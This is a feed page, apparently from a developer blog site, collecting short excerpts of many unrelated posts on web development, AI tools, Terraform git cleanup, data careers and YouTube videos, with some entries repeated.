Loom I recently put together a small project to solve a recurring problem in my daily routine: figuring out whether the weather is actually good enough for outdoor activities like walking or biking. I noticed that looking at the temperature alone wasn’t giving me the full picture, so I built something more visual and informative. Weather affects outdoor plans in more ways than one—wind, precipitation, humidity, and even how the ground feels when you’re on wheels. I wanted a quick way to assess overall conditions without having to mentally piece together a dozen metrics from different apps. The heart of the project is a globe interface that displays weather data across different cities. Each location shows key details pulled from OpenWeather, but I also added a custom metric I call the “tire rating.” OpenWeather API → for real-time weather metrics Mapbox → for the interactive 3D globe Custom logic → for calculating the tire rating In the video, I walk through how to set everything up with your own API keys so you can experiment with it locally or build on top of it. The tool is still evolving, and there’s plenty of room for creative extensions—notifications, historical comparisons, activity presets, or even AI-powered suggestions. I’d love to hear your thoughts! If you try it out or have ideas for improvements, feel free to share. Your feedback can help shape the next version. Tool: https://weathertier.lovable.app/  ( 7 min )

Finding a job as a developer has become both easier and more challenging at the same time. Easier because companies everywhere now rely on software, which creates constant demand. Challenging because expectations have risen and the hiring process has grown more complex. From preparing your skills to navigating interviews, the journey requires a mix of strategy, confidence, and awareness of what companies actually look for in a modern developer. The first and most important step is to understand your own direction. Development is a broad field, and clarity helps you stand out. You should know whether you want to work in front end, back end, full stack, mobile, DevOps, machine learning, or another niche. This self awareness shapes your portfolio, your learning path, and the type of companie…  ( 8 min )

Making a track with the dial-up modem sound Andrew Huang turns the nostalgic screech of a dial-up modem into a full music production, walking you through his techniques and creative choices. He also drops links to his Patreon for bonus content, promotes his Transit plugin, book, online course and social channels, and lists all his go-to gear and software (audio interfaces, headphones, cameras, Ableton Live, etc.)—most via affiliate links that help support the channel. Watch on YouTube  ( 6 min )

Real Blazor WebAssembly Production Pitfalls (With Google Maps as a Case Study) Blazor WebAssembly works beautifully in development — but the moment you publish a Release build with PublishTrimmed=true, you start seeing an entirely different runtime behavior: Features that worked locally stop working External SDKs fail without console errors JS interop calls disappear into the void Reflection stops working Maps, charts, and 3rd‑party UI break silently This blog post is a deep, technical walkthrough of the real pitfalls you hit when you move Blazor WASM into production — with Google Maps (Advanced Markers + MapId/StyleId + lazy load) as a concrete case study. This is not theory. This is what actually breaks when you ship. Blazor’s linker (ILLink) removes all methods and typ…  ( 8 min )

Everything Wrong With The Wiz In 15 Minutes Or Less sees CinemaSins hitting the yellow brick road to pick apart the 1978 film’s goofs, oddball fashion, and questionable musical choices—especially timely with Wicked back in theaters. Plus, they sneak in plugs for their website, polls, Patreon, and a host of social channels (YouTube, Twitter, Instagram, TikTok, Discord, Reddit) while giving shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel. Watch on YouTube  ( 6 min )

AI coding has moved from a futuristic idea to an everyday tool that quietly reshapes how developers work. What once felt like a fantasy, the idea of a machine understanding code and writing it almost like a human, has become a practical reality in just a few years. The change did not happen overnight. It grew from a long journey of research, experimentation, and the ambition to make programming more accessible and more powerful. The story begins with early attempts to teach computers how to understand patterns in text. At first, these systems could only autocomplete a few words in a predictable way. They had no understanding of logic, structure, or intention. Developers had to shape every response with strict rules. Coding still depended entirely on human decision making, and AI acted mor…  ( 8 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Building a Production-Ready NLP System That Traders Actually Trust A trader approaches you with a question: "Your model says this stock is bearish based on the news. But why? What words triggered that prediction?" You pause. Your 86% accurate sentiment classifier suddenly feels useless because you can't explain it. This is the hidden crisis in financial AI. Accuracy without explainability is a liability, not an asset. I learned this the hard way while building a financial sentiment analysis system for Lloyds, IAG, and Vodafone. The project forced me to solve a problem that most data scientists ignore until it's too late: how do you make a black-box NLP model trustworthy enough for high-stakes trading decisions? When I started, the goal seemed straightforward: build a sentiment classifier t…  ( 10 min )

Error común en PLD: Reportes de operaciones inusuales y relevantes tardíos Muchas organizaciones enfrentan desafíos en la detección temprana de operaciones sospechosas, dando lugar a retrasos en la presentación de reportes de operaciones inusuales y relevantes. Esto puede tener consecuencias graves, como la pérdida de confianza de los clientes y la exposición a sanciones y multas. Corrección: Implementación de un sistema de monitoreo en tiempo real Una posible corrección a este error es la implementación de un sistema de monitoreo en tiempo real que utilice técnicas de Inteligencia Artificial (IA) y Aprendizaje Automático (ML) para identificar patrones anormales y alertar a los responsables de cumplimiento de manera oportuna. Por ejemplo, TarantulaHawk.ai, una plataforma de IA AML SaaS, ofrece herramientas de monitoreo en tiempo real que pueden identificar operaciones sospechosas de manera efectiva y eficiente. Propuesta de acciones concretas: Implementar un sistema de monitoreo en tiempo real que utilice técnicas de IA y ML para identificar patrones anormales en las transacciones. Establecer protocolos claros para la notificación de reportes de operaciones inusuales y relevantes a los responsables de cumplimiento. Realizar capacitación y talleres de actualización para los empleados sobre la implementación de los nuevos sistemas y protocolos. Referencia breve y ética a TarantulaHawk.ai: TarantulaHawk.ai es una plataforma de IA AML SaaS que ofrece herramientas de monitoreo en tiempo real para la detección de operaciones sospechosas. Su enfoque está enfocado en la eficiencia y la precisión, ayudando a las organizaciones a cumpla con las regulaciones y a proteger a sus clientes. Publicado automáticamente  ( 7 min )

Errores comunes en PLD: segmentación deficiente La Prevención del Lavado de Dinero (PLD) es un proceso crítico para detectar y evitar la ocultación de activos de origen ilícito en México. Sin embargo, muchos sujetos obligados enfrentan desafíos a la hora de implementar eficazmente sus programas de PLD. Uno de los errores comunes es la segmentación deficiente de clientes y transacciones, lo que puede dificultar la identificación de patrones anormales y la detección de operaciones sospechosas. Ejemplo de error común Un ejemplo de segmentación deficiente es dividir a los clientes en categorías demasiado amplias, como "particulares" y "empresas". Esto puede ocultar a clientes que están involucrados en actividades ilegales, ya que pueden estar en el límite entre ambas categorías. Corrección con…  ( 7 min )

Unlock the Power of Lookalike Modeling in Advertisements As a seasoned ML practitioner, you're likely familiar with the concept of lookalike audiences. However, have you considered leveraging this approach to optimize your ad spend and improve campaign performance? Here's a practical tip on how to do it: Identify High-Value Lookalikes Using Recurrent Neural Networks (RNNs) When targeting online ad campaigns, it's essential to identify high-value lookalikes with similar characteristics as your existing customer base. This requires a deep understanding of the complex interactions between different features and user behaviors. To solve this challenge, you can develop a custom RNN model that takes into account both structured (e.g., age, location, interests) and unstructured data (e.g., user behavior, device usage). Train your RNN model on a large dataset of user interactions, and tune its hyperparameters to capture the intricate patterns and relationships between these features. Actionable Steps: Data Preparation: Collect and preprocess a comprehensive dataset of user interactions, including features like demographics, behavior, and device usage. Model Development: Implement a custom RNN model with optimized hyperparameters to capture complex relationships between features. Lookalike Modeling: Input user attributes into the RNN model and generate a predicted lookalike score, indicating the likelihood of a user matching your target audience. Ad Campaign Optimization: Leverage the lookalike score to create high-value targeting audiences, optimizing your ad spend and improving campaign performance. By incorporating this advanced RNN-based approach to lookalike modeling, you'll be able to identify high-value targets more effectively, driving more conversions and revenue for your advertising campaigns. Publicado automáticamente  ( 7 min )

This component was built as a small experiment in combining a complete game-tree search with a reactive user interface. Tic-tac-toe is simple enough that every possible board state can be explored, so the minimax algorithm fits naturally. The intention was to keep the logic straightforward and self-contained, while letting LemonadeJS handle UI updates without additional abstractions or complex lifecycle handling. I have chosen to keep minimax free of shared mutable state and avoid mutating the board during evaluation. Many examples modify the board in place and then undo moves later, but this easily introduces subtle bugs, especially once each cell starts holding more properties. Since the tic-tac-toe board is only nine cells, cloning before each simulated move is cheap and keeps each bran…  ( 9 min )

Network traffic analysis is a superpower. Whether you are debugging a distributed system, reverse-engineering a legacy protocol, or performing security auditing, you usually end up opening Wireshark. But what if you want to automate that detection? What if you need to trigger a specific action the moment a specific text sequence—like a specific username, a specialized API key, or a magic header—hits the network card? Writing a kernel-level driver to capture packets is painful and dangerous (one bug = Blue Screen of Death). Using raw socket libraries (like libpcap) is powerful but can be a nightmare regarding cross-platform compilation (Windows headers vs. Linux headers). In this article, I’ll explain how I built a Rust-based CLI tool that wraps the power of TShark (Wireshark) to monitor li…  ( 11 min )

Intro VolBack? UT). Imagine we have a CRM, which has a lifetime of 3 days. Day 1. We added 100 mb Day 2. We added 50 mb Day 3. We added 30 mb What does it mean? Backup for day 1: 100 mb Backup for day 2: 100 mb + 50 mb =150 MB Backup for day 3: 150 mb + 30 mb =180 MB Nice! So the total backup volume will be: 100 mb + 150 mb + 180 mb =430 MB. To handle this calculations I find a mathematical formula for this process. Sn=n⋅x1+∑i=1n−1(n−i)∗ai S_n = n \cdot x_1 + \sum_{i=1}^{n-1} (n - i) * a_i Sn​=n⋅x1​+∑i=1n−1​(n−i)∗ai​ Where: n: quantity of UT (second, hour, day, etc) x1x_1 x1​ : initial value of volume at first UT a: array of a values (additions in volume at each IT) Development I will expand this method in case when we don't now additions' values. Watch the repository https://github.com/ja-proger/VolBack. Now available on Swift Write down any ideas in the comments below!  ( 6 min )

In the previous article, we solved the issue of loading static resources (like images) within Markdown. Up to this point, our documentation pages can display content, code highlighting, and images nicely. However, readers still face difficulties navigating the documentation. The pages are isolated islands: without manually typing the URL, you cannot jump from one article to another. Documentation sites like Docusaurus typically use a "Left Sidebar + Right Content" layout. In this article, we will implement this feature: we will write a function to automatically scan all Markdown files in the docs/ directory, extract their titles, and dynamically generate a sidebar navigation menu. First, we need to change the page layout from the original "single-column vertical structure" to a "two-column…  ( 10 min )

A practical solution for competitive analysis in younger universities For many young universities, strategic goals include positioning themselves in the THE World University Rankings, understanding their competitors, and monitoring changes over the years. However, obtaining structured ranking data is not as easy as it seems. This project was created to solve exactly that problem: to retrieve THE ranking data via an API and provide it in a clean, integrable format for institutional systems. Academics Administrative research staff Strategy and quality offices Higher-education data analysts 🔍 Technical Overview Python-based tool Fetches data from the backend API of THE Outputs JSON files Modular structure ⚙️ Installation git clone https://github.com/c3nk/THE-World-University-Rankings cd THE-World-University-Rankings pip install -r requirements.txt python main.py No charts or dashboards No automated analytics No interpretation of THE data 🏁 Conclusion With this tool, accessing THE data becomes: One-command simple Clean and structured Ready for integration Repo: https://github.com/c3nk/THE-World-University-Rankings  ( 6 min )

In today's data-driven world, the demand for data analysts is growing rapidly across industries, from tech to healthcare, retail, finance, and beyond. As businesses rely more on data to make informed decisions, the role of a Data Analyst has become a key driver of success. But is it worth pursuing a career as a data analyst? Let’s explore the pros, challenges, and long-term outlook for this field. Diverse industries: Data analysts are needed in various sectors, including finance, marketing, healthcare, e-commerce, and tech. Remote work potential: Many data analyst roles can be done remotely, offering flexibility and opportunities to work with global teams. The demand for skilled data analysts is expected to continue increasing, particularly as businesses continue to embrace digital tr…  ( 9 min )

When working with Terraform, you may run into this GitHub error: This error is common among Terraform beginners and even experienced engineers because of how Terraform organizes provider binaries. GitHub rejects any file larger than 100MB, and Terraform providers typically weigh between 200MB–500MB. In this article, I’ll walk you through exactly why it happens, how I fixed it, and how you can prevent it from ever happening again. Terraform downloads provider binaries into: .terraform/ If you run: git add . before adding .terraform to .gitignore, Git starts tracking these massive files. Even if you delete the folder later, the large files remain in your Git history, and GitHub scans the entire history during a push. Then: git add .gitignore git commit -m "Add Terraform ignores files" Even after ignoring, GitHub still rejects the push because the massive files are stored in old commits. To fix this, we use a powerful tool: git-filter-repo. git filter-repo is a powerful and versatile tool for rewriting Git repository history. It is a Python script designed to be a faster, more capable, and more user-friendly alternative to git filter-branch To install the git filter-repo on my machine (wsl on windows) I used the following commands sudo apt update sudo apt install git-filter-repo run: git filter-repo --version Then clean your history: git filter-repo --force --path .terraform/ --invert-paths This removes all .terraform files from all past commits. The commit history has changed, you need to force push to upload the cleaned repository to Github without the large files git push --force This takes care of the large file error. Never commit: .terraform/ terraform.tfstate terraform.tfstate.backup provider binaries This error is very common for Terraform beginners and even experienced engineers. Ignore .terraform Clean the Git history with git filter-repo Force-push the cleaned repository Taking the time to clean your repo ensures you maintain a lightweight, secure, and professional Terraform project.  ( 7 min )

Crear una instancia en SQL Server 2022 se realiza a través del Asistente para la instalación (SQL Server Installation Center) de Microsoft. El proceso es el mismo ya sea que estés instalando la primera instancia (la instancia predeterminada) o una instancia adicional (instancia con nombre). Aquí tienes los pasos clave para crear una nueva instancia de SQL Server 2022: Ejecuta el programa de instalación (setup.exe) desde el medio de instalación de SQL Server 2022 (la imagen ISO o el archivo descargado). El programa iniciará el SQL Server Installation Center. En el menú de la izquierda, selecciona Instalación. Haz clic en la opción Nueva instalación independiente de SQL Server o agregar características a una instalación existente. Clave de Producto: Introduce tu clave de licencia o sele…  ( 8 min )

I'm not gonna sugarcoat this. Today was bad. I didn't study. At all. DBMS exam is Monday. Two full weeks of exams starting. And I spent today doing absolutely nothing productive. Not because I was resting. Not because I was strategically taking a break. I just... lost it. Had a full breakdown today. The real kind. The kind where you're crying and you keep checking to make sure nobody's walking by. Where you're wiping your face and looking in the mirror to catch the tears you missed. Where you hate that one drop still sitting there because it proves you're falling apart. Hit the gym trying to fix it. Couldn't lift what I normally lift. Hated myself for being weak. Left feeling worse than when I went in. And no—this isn't about the relationship stuff from Day F0. That's done. This is somethi…  ( 7 min )

Andrew Huang’s latest video dives into how he turns the iconic dial-up modem screech into a full-blown music track, sharing his step-by-step process and creative hacks. He’s got a ton of extras over on Patreon—sample packs, project files and more—plus an Ableton plugin, a book, an online course and a buzzing Discord community for fellow beatmakers. Along the way he drops links to all his socials and streaming profiles (Spotify, Apple, Bandcamp, Tidal) and even lists his favorite software, interfaces, modular gear and headphones via affiliate links—so you can nerd out on the exact tools he swears by. Watch on YouTube  ( 6 min )

The Problem When managing events, it's common to encounter a rapid succession of events within a brief period. For instance, within an application driven by events, creating an entity can trigger multiple events like EntityAdded, EntityChanged, SubEntityAdded, etc. However, if the primary objective is to monitor changes in a specific entity item, processing all these events to dispatch a notification or outbound message to downstream systems might be unnecessary. Based on the problem described above, we are often interested in only knowing that an update has occurred at a certain moment, rather than communicating every single change. This can be effectively managed within a short predefined timeframe, typically 5 to 10 seconds. This pattern is particularly common when dealing with primar…  ( 7 min )

If you’ve been scrolling through Clean Architecture diagrams like the ones above—colorful boxes for Presentation, Domain, Data—and thinking: “OK, but what does this look like in real .NET code?” …this post is for you. We’ll take the classic Clean Architecture ideas (layers, use cases, entities, repositories) and map them directly into a modern .NET solution that you can actually ship. You’ll learn: How to map the three core layers (Presentation, Domain, Data) into .NET projects How to structure Entities, Use Cases, and Repositories in C# How the Dependency Rule works in practice with DI How the call flow looks from Controller → Use Case → Repository → Data Source How to keep your architecture testable, maintainable, and framework‑independent 1. Clean Architecture in One Sen…  ( 12 min )

Blob IA: l’écosystème connecté des titans de l’intelligence artificielle Blob IA: l’interconnexion des géants Nvidia, OpenAI, Google et Microsoft illustre la vitesse à laquelle les infrastructures et les algorithmes se lient entre eux. Ce concept décrit un réseau d’interdépendances technologiques où les puces, les centres de données et les plateformes cloud (nuage informatique) forment une unité presque organique. Il attire l’attention car ces acteurs concentrent le compute et les talents, et donc orientent l’innovation. Centralisation des centres de données et des puces, donc dépendance infrastructurelle. Flux de modèles, de données et de contrats commerciaux entre les entreprises majeures. Effets en cascade sur la concurrence, la souveraineté et la sécurité. De plus, Nvidia fournit le …  ( 10 min )

If you’re reading this, you likely know your way around interface, type, and generics. You probably have strict mode enabled. But TypeScript is capable of much more than just catching typos or ensuring a prop exists. When used at a "pro" level, TypeScript stops being a linter and starts being a documentation engine and an architectural guardrail. Sometimes, you even have to abuse the type system to get the safety you really want. Here are 7 patterns—ranging from modern best practices to "dark arts" hacks—to elevate your TypeScript mastery. satisfies Operator Introduced in TypeScript 4.9, satisfies is a game-changer. It allows you to validate that an expression matches a type without changing the resulting type of that expression. When you use a standard type annotation (e.g., const confi…  ( 9 min )

Welcome to my Best Black Friday / Cyber Monday Web Hosting Deals 2025 article. Black Friday is the single best time of the year to start a new website or switch to a faster, more powerful web host. With discounts reaching up to an astonishing 98% off, hosting providers offer their lowest prices of the year. If you’ve been waiting for the right moment to secure premium hosting at a rock-bottom rate, your moment is now. We’ve tracked down the most stunning Black Friday web hosting deals available, featuring massive savings and main features for every type of website owner, from beginners to high-traffic enterprises. Let me share what those deals are. Here are the top web hosting deals you cannot afford to miss this Black Friday and Cyber Monday: Here are some of the top-tier deals we highly …  ( 11 min )

This is the list of packages that you can safely remove. Step 1: setup the debloater https://beebom.com/how-remove-bloatware-android-phone Step 2: select and remove the following packages com.android.fmradio  ( 6 min )

Type-safe analytics, automated documentation, and data integrity-from a single source of truth. As a Developer who has seen the inside of massive codebases, I've witnessed the same tragedy play out in almost every product team. It starts innocently. A Product Manager asks for a new event: user_clicked_button. analytics.logEvent('user_clicked_button'). analytics.logEvent('UserClickedButton'). button_id parameter is a string in iOS but an integer in Android. Six months later, your dashboard is a graveyard of untrustworthy data. We treat our production code with rigor-CI/CD, type safety, code reviews. Yet we treat our analytics-the very data that drives our business decisions-like a "stringly typed" afterthought. It's time to stop writing analytics code by hand. Meet analytics_gen, a tool des…  ( 8 min )

**What if we could detect heart attacks early — not just through ​** PulseGuard: Real-time Heart Monitoring with eBPF & Cilium​​ PulseGuard demonstrates how eBPF-based observability can be used for real-time health monitoring, detecting anomalies (like abnormal pulse), and sending alerts.​​ PulseGuard simulates continuous heart rate monitoring, detects irregular pulse patterns, and integrates with eBPF and Cilium to show how system-level observability tools can detect, trace, and alert health-related anomalies in real-time.​ ​What is eBPF & Cilium​​? Cilium is an open-source, cloud-native networking, security, and observability solution specifically designed for containerized workloads, particularly in Kubernetes environments. It leverages the power of eBPF to provide secure and high-perfo…  ( 8 min )

I’ve run my little bookstore for almost seventeen years now, and the funny thing is, it still surprises me every morning. The bell above the door gives the same soft ring. The windows gather the same dust. The paperbacks on the front table lean the same way they always have. But somehow, the place feels different every day, like the stories inside it breathe along with the people who wander in. For a long time, I thought the books were the most important part of the shop. The old classics. The cozy mysteries with bright covers. The memoirs that make people cry. The hardcovers that smell new and a little like glue. I loved them all. But a few years ago, something changed in the way I looked at my shop. It started with my camera. Nothing fancy. Just a small one I used for taking pictures of …  ( 11 min )

This post is my submission for DEV Education Track: Build Apps with Google AI Studio. I built the SEO & OG Analyzer AI, a comprehensive web tool that helps developers and marketers optimize their websites instantly. Users simply paste a URL, and the app uses Google Gemini to simulate a crawl, analyzing the page's content to generate: Open Graph Previews: A visual simulation of how the link looks on social media (Facebook/LinkedIn). SEO Audit: An analysis of titles, descriptions, headings, and missing tags with AI-suggested improvements. Structured Data: Automatically generated, valid JSON-LD schemas (Organization, Article, etc.). Ready-to-use Code: HTML meta tags and JSON scripts formatted for copy-pasting. I utilized the Gemini API (gemini-2.5-flash) with the Google Search Tool (googleSea…  ( 7 min )

In today’s world, applications are no longer simple systems with a single database and a few users. Modern platforms like Uber, Netflix, Zomato, Amazon, Instagram, and even banking apps generate millions of events every second—a ride request, a payment update, a login attempt, a notification, a cart update, a video play, and so on. Handling this constant flow of data in real time is no longer a luxury—it’s a necessity. They are: slow tightly coupled difficult to scale easily break under heavy load. To solve these modern data challenges, companies use Apache Kafka, a distributed event streaming platform designed to handle massive volumes of real-time data with high speed, fault tolerance, and scalability. This blog will walk you through Kafka in the simplest possible way—from beginner conce…  ( 10 min )

🚀 New Release: Free Online Accessibility Scanner — Audit Any Webpage Instantly Making the web accessible shouldn’t be hard — so I built a tool that makes it easier. I just launched a Free Online Accessibility Scanner on FrontendTools.tech, powered by the industry-standard axe-core engine. You can use it to audit any public webpage for accessibility issues and get actionable guidance on how to fix them. 🔗 Try it here: https://www.frontendtools.tech/tools/accessibility-scanner This scanner performs a deep accessibility audit and highlights issues related to: WCAG 2.1 & 2.2 compliance (A, AA, AAA) Color contrast ARIA attributes Alt text Form labels Keyboard accessibility Semantic HTML usage And more… Everything runs in the cloud — no installs required. Covers major WCAG guidelines so you can ensure your page meets accessibility standards. Built on axe-core, ensuring reliable detection with minimal false positives. For every issue, the tool provides: Explanation Code snippet fixes Linked WCAG criteria So you learn and improve instantly. Quickly see high-impact violations and prioritize what truly matters. Download your audit in: JSON CSV Perfect for documentation, clients, or team workflows. Accessibility is often overlooked because many developers: Don’t know where to start Don’t have easy tools Aren’t sure how to fix what they find This scanner solves all three. My goal with FrontendTools.tech is to keep releasing tools that make frontend development faster, easier, and more inclusive. 🔗 Test your site: https://www.frontendtools.tech/tools/accessibility-scanner Would love your feedback, suggestions, or ideas for what to build next!  ( 7 min )

Resumo Este texto tem como proposta uma análise aprofundada sobre a segurança de aplicações web, mas de uma perspectiva ofensiva. Através da arquitetura de três camadas (Apresentação, Aplicação e Dados), comumente conhecido como Three Tier Architecture, detalhando vetores de ataques específicos para cada camada com exemplos de código práticos. Além disso, também fornecer uma investigação de táticas, técnicas e procedimentos (TTPs) de grupos de Ameaça Persistente Avançada (APT), como o APT35, esmiuçando tecnicamente um de seus ataques com exemplos de payloads e comandos. O texto também explora a importância da análise a partir do OWASP Top 10 que lista os dez riscos de segurança mais críticos e comuns em aplicações web. O objetivo é permitir uma visão técnica e estruturada, para aspirant…  ( 18 min )

Data Science is crowded, competitive, and full of noise. But it is still one of the few fields where a beginner can break in within a year if they pick the right entry path. The problem is simple: every job wants experience, but you need the job to get the experience. The solution is understanding which type of beginner you are and following the path that matches your background, not the internet’s generic advice. Below are the three groups most newcomers fall into, how to identify your group, and the fastest way to move from beginner to employable. If you already come from mathematics, physics, engineering, economics, or computer science, you have a head start. You understand quantitative thinking, you can learn models faster, and you already know how to deal with complex systems. Your bi…  ( 8 min )

Here's what happens every January: marketing teams gather around conference tables, stare at their December traffic numbers, and wonder where all those visitors went. The answer? They're still there. They're just broke, overwhelmed, and ignoring your generic "New Year Sale" emails along with everyone else's. I've watched this pattern repeat for years. Brands spend thousands driving holiday traffic, then act surprised when those same visitors don't immediately convert in January. The opportunity isn't gone—it's just shifted. And most marketers are approaching it completely wrong. The data tells a clear story: 68% of holiday browsers don't purchase during their first visit. They're researching, comparing, waiting. Come January, they've got fresh budgets (personal and professional), tax refun…  ( 13 min )

The AI coding assistant landscape just got a lot more interesting. In November 2024, three major players dropped game-changing updates that fundamentally reshape how we code with AI. Let's cut through the hype and see what actually matters. What is it? A lightweight, experimental model fine-tuned from GPT-5-mini, now rolling out to Free, Pro, and Pro+ users in VS Code. The Big Deal: 264k context window (yes, you read that right) 64k output capacity — massive for a "mini" model 4x faster than comparable intelligence models Built specifically for code-heavy interactions, not conversational fluff Best For: Multi-file edits across your entire workspace Low-latency tasks where speed matters Tool calling and MCP integration Quick refactors and fixes Reality Check: fast, not profound. Think of i…  ( 10 min )

A few months back, I wasn’t even that into AI. I thought it was just another tech phase that would fade, like fidget spinners or those standing desks everyone bought and now use as laundry racks. But then I started looking for something stupidly specific - a way to work on my side project without sitting at my computer. Like, actually making progress while waiting in a shop line or sitting on the bus thinking about some random UI tweak. I wanted something I could talk to, drop ideas into, and it would just… do it. Quietly. No drama. No "permission to run rm -rf?" nonsense. And then I found GitHub Copilot - the remote version, the one with the web UI that actually opens PRs for you. I swear, I don’t know what GitHub people did here, but this thing is on a different wavelength. And somehow i…  ( 9 min )

If you’re learning to code in 2025, you’ve probably felt this: Too many languages Let’s go. 👇 🧠 1. Learn How to Learn (Your Real Superpower) Most beginners think coding is about memorizing syntax. It isn’t. Google well Stop chasing languages. Start building the mindset. 🎯 2. Define Your WHAT and WHY Before choosing a language or tutorial, ask yourself: What do you want to build? This decides your path. Websites → HTML + CSS + JavaScript Most beginners skip this step — and get lost. 🧩 3. Pick Your First Language (Without Overthinking) There’s no “best” language. There’s only the best for your goal. Pick one, stick to it for a few months, and ignore everything else. 📚 4. _ Use High-Quality Resources (and Avoid Tutorial Hell)_ Tutorials are great… until you watch 40 hours and still can’t build a simple project. FreeCodeCamp That’s where real skills form. 🛠 5. Project-Based Learning (Your Cheat Code) You don’t level up by watching tutorials. Start small: Example: Built a calculator? Add scientific functions. This transforms you from “learner” to “creator.” 🤝 6. Share & Collaborate (The Fastest Way to Grow) You learn faster when others see your work. Post your progress on: DEV.to You’ll get feedback, new ideas, and motivation from others building alongside you. You don’t need to be perfect — you just need to show up. 💡 Bonus: Great Project Repositories These two GitHub repos can keep you busy for months: Build Your Own X — recreate famous tools Learn X by Doing Y — Project-based guides for every tech Endless inspiration for projects. 🔥 Final Thoughts Learning to code effectively is simple: Know what you want to build Pick one language There is no perfect path. Have fun building things you actually care about. Everything else will follow.  ( 8 min )

Building Modern Web Apps with Next.js and React – A Portfolio Showcase Hi Dev.to community! 👋 I’m Muhammad Shehzad, a Full-Stack Developer passionate about building modern, scalable web applications. Over the years, I’ve worked on various projects using Next.js, React.js, Node.js, and WordPress, focusing on performance, clean architecture, and seamless user experiences. In this post, I want to share some insights from my recent projects and invite you to explore my portfolio: Next.js & React.js: Fast, SEO-friendly web applications Node.js & Express: Robust backend APIs and automation tools WordPress Customization: Plugins and themes built from scratch Chrome Extensions: Custom tools to enhance productivity 💡 Pro Tip: When building web apps, always focus on clarity, scalability, and user experience. It’s what separates good apps from great ones! If you’re interested in seeing my projects or collaborating, feel free to check out my portfolio: Muhammad Shehzad I’d love to hear your thoughts and connect with fellow developers here on Dev.to! #ReactJS #NextJS #FullStack #WebDevelopment #Portfolio #Developer  ( 6 min )

After helping folks build MVPs out of their napkin sketches, I keep coming back to Django + Tailwind + Cursor AI. Here's why this combo works so well for getting products to market quickly. Django gives you everything out of the box. Authentication, admin panel, ORM, form handling, security features - it's all there. While other frameworks make you piece together solutions, Django lets you focus on building your actual product. For early-stage startups burning through runway, this matters. Tailwind keeps the frontend moving fast. No context switching between HTML and CSS files. No fighting with Bootstrap's opinions. You style components right in your templates and move on. The utility-first approach means you're not spending hours naming CSS classes or organizing stylesheets. Cursor AI accelerates everything. Honestly, this has been a game-changer. Need to generate a Django model with all the right field types? Cursor writes it. Building a form with validation? Done in seconds. It understands Django conventions and Tailwind classes, so you're not just getting generic code - you're getting code that fits your stack. What used to take hours now takes minutes. Obvioiusly, you will need to have a half way decent understanding of what its doing - else it might take you for a ride ever so often. The combination just flows. Django templates + Tailwind utilities + AI assistance = unprecedented speed. Need a dashboard? Build it in a day. User authentication flow? Done by lunch. Cursor handles the boilerplate while you focus on business logic. If you're sitting on a product idea or helping someone build theirs, this stack removes so many obstacles. You spend time solving business problems, not framework problems. What's your preferred stack for rapid development? Are you using AI coding tools yet?  ( 7 min )

📌 Missed Part 1? YouTube Monetization, Speed, and Risks (Part 1) This section continues from Part 1, which established YouTube's economic foundation and algorithmic mechanics. Part 2 applies offensive security thinking to content strategy - treating the platform as an adversarial system where creators must navigate between legitimate optimization and exploitable vulnerabilities that carry severe penalties. The central question: Can you "hack" sustainable YouTube growth, or does the attempt to exploit the system guarantee eventual detection and termination? If you treat YouTube like a system to exploit, you need to understand what you're attacking. The platform's recommendation engine isn't a static ruleset - it's an adaptive defense mechanism designed to detect and neutralize manipulation…  ( 17 min )

The gap between what AI companies promise and what actually exists is widening. The AI industry is advancing faster than any technology wave of the last four decades. But speed isn’t the real issue. The real issue is the growing distance between public narratives and ground truth. Today, the loudest voices in AI—major companies, founders, VCs, and influencers—shape expectations that don’t match the systems being built, tested, or deployed. If you’re a developer, founder, or tech professional, this truth gap impacts how you learn, what you build, and how you make decisions. Here is how I see the problem. Every week a new model is introduced as: “AGI-level” “100x faster” “Better than humans” Yet in real-world use, the shine fades quickly. Performance collapses when: datasets don’t align wi…  ( 8 min )

Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. We publish on Fridays. So you can savor it over your weekend. Or jump straight to your favorite section. Symfony Universe PHP More Programming Defending Democracy Cybersecurity Fediverse Once again, thanks go out to Javier Eguiluz and the team at Symfony for sharing our communiqué in their Week of Symfony My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! The Programmer’s Fulcrum is the future (and smaller) home for a fusion of Symfony Sta…  ( 10 min )

https://medium.com/@natarajanck2/how-large-language-models-llms-work-training-thinking-and-parameters-explained-simply-caa1a95ef06c  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

